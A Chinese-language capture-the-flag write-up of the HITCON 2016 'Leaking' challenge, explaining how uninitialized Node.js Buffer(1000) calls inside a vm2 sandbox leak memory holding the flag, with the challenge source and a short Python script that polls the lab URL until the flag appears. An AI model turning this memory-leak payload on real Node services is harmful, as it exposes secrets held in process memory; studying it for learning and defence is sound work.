[HITCON 2016]Leaking沙箱逃逸学习

node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。但是这道题比较有意思

考点是:

  1. node.jsVM2沙箱逃逸
  2. JS通过Buffer 类处理二进制数据的缓冲区

首先给出了题目的源码

"use strict";var randomstring = require("randomstring");
var express = require("express");
var {VM
} = require("vm2");
var fs = require("fs");var app = express();
var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());}
});app.listen(3000, function() {console.log("listening on port 3000!");
});

我们把关键几行代码列出来

eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
eval就是把里面的当作javascript语句来运行
var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));
然后要Get传递一个data参数,将它放在vm2创建的沙盒中运行,并且对传入的参数长度进行了限制,不超过12,这里可以用数组绕过

解题所需知识

在较早一点的node.js版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

如果使用new Buffer(size)或其别名Buffer(size))创建,则对象不会填充零,而只要是调用过的变量,一定会存在内存中,所以需要使用Buffer()来读取内存,使用data=Buffer(1000)分配一个1000的单位为8位字节的buffer,因此很容易得到姿势

import requests
url = 'http://bcd330df-99ca-4b90-a33c-1cca550c2d15.node3.buuoj.cn/?data=Buffer(1000)'
response = ''
while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)if 'flag{' in response:print(response)break

[HITCON 2016]Leaking沙箱逃逸学习相关推荐

  1. [HITCON 2016]Leaking-nodejsVM沙箱逃逸

    [HITCON 2016]Leaking 最近想学下nodejs相关的题目,所以去buu上又找了一道来做 进入题目后如上图所示,直接给出了源代码,老样子,拿出之前收藏的nodejs相关安全问题来对比着 ...

  2. BUUCTF [HITCON 2016] Leaking

    BUUCTF [HITCON 2016] Leaking 考点: node.js中VM2沙箱逃逸 JS通过Buffer 类处理二进制数据的缓冲区 启动环境: "use strict" ...

  3. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  4. 利用Python渗透实现沙箱逃逸,看黑客是如何绕过网站的防护的?

    让用户提交 Python 代码并在服务器上执行,是一些 OJ.量化网站重要的服务,很多 CTF 也有类似的题.为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中.沙 ...

  5. python沙箱逃逸小结

    上周末,协会的同学去天津交流,天津大学的同学讲了一个python沙箱逃逸的案例.今天结合之前的所学和比赛经验写一个小结. 案例1 这是hackuctf 2012的一道题 1. def make_sec ...

  6. BUUCTF--[HITCON 2016]Leaking

    进入页面后给出代码 "use strict";var randomstring = require("randomstring"); var express = ...

  7. 各种姿势解析-python沙箱逃逸

    目录 1.预备内容 python中内置执行系统命令的模块: subprocess os commands timeit paltform pty 可执行系统命令的函数 两个魔术方法 python中可以 ...

  8. 2016年6月份学习总结,读书《向着光亮那方》

    2016年6月份学习总结,创建日期:2016-07-03 19:46:16,有删减: 以下正文: 这月陆陆续续看了刘同的<向着光亮那方>,"谁的青春不迷茫,迷茫背后是光亮&quo ...

  9. 2016年5月份学习总结,读书《你的孤独,虽败犹荣》

    2016年5月份学习总结,创建日期:2016-06-03 23:46:17,有删减: 回想当时,还真喜欢阅读刘同的作品,2021-01-18 20:58:55 以下正文: 这月一直在学习,现在只谈工作 ...

最新文章

  1. linux哪个版本支持多线程,关于Linux操作系统的叙述错误的是()A、Linux是多用户、多任务、支持多线程的操作系统B、Linux的源...
  2. jumpserver 节点部署_Jumpserver 部署
  3. 软件测试c语言代码_软件测试理论知多少?
  4. CSS一个元素同时使用多个类选择器(class selector)
  5. mysql5.0操作手册_MySQL 操作手册
  6. python绘制3d机械图_使用python绘制3d的图形
  7. 西瓜书+实战+吴恩达机器学习(二十)随机算法(拉斯维加斯方法、蒙特卡罗方法)
  8. 【转】HTTP响应报文与工作原理详解
  9. 数百GitHub私有代码库被黑客清空:不交赎金就公开源码!
  10. Python chardet
  11. 2021-2027全球与中国硅胶注塑机市场现状及未来发展趋势
  12. 腾讯云神笔低代码平台的申请没通过,只能等公测了
  13. 【vue,SpringBoot,Mybatis】 关于多条件搜索表单
  14. 最好用的Android反编译、重新编译和签名工具-AntiDroid V1.3 发布了~
  15. 某Boss招聘网站的反反爬机制详解
  16. outlook显示无法当问ost文件
  17. EPS使用-20220617更新
  18. 西门子S7-1500PLC与西门子V90 PN伺服通讯控制项目程序项目程序
  19. 小程序源码:炫酷手持滚动弹幕生成小工具微信小程序-多玩法安装简单
  20. linux 电源管理驱动编写

热门文章

  1. QString、int、char、QByteArray直接的相互转换
  2. 手机照片局部放大镜_iphone手机这5个功能十分出色,满满的科技感,别再白白浪费...
  3. jQuery 实现音乐导航案例
  4. 【cocos2dx】rapidjson使用方法以及中文显示的解决方法【续】
  5. 榆熙教育有限公司:拼多多商家应该了解的常用推广方式
  6. 天龙八部OL登录器编写之创建快捷方式
  7. SuperMap iMobile for Android培训资料
  8. 对于刚入行的Android程序员来说,找Android培训机构应该注意哪些方面?
  9. 申请公网ip后,配置光猫,路由器使用公网ip步骤
  10. 【转】数学专业参考书整理推荐V3.0版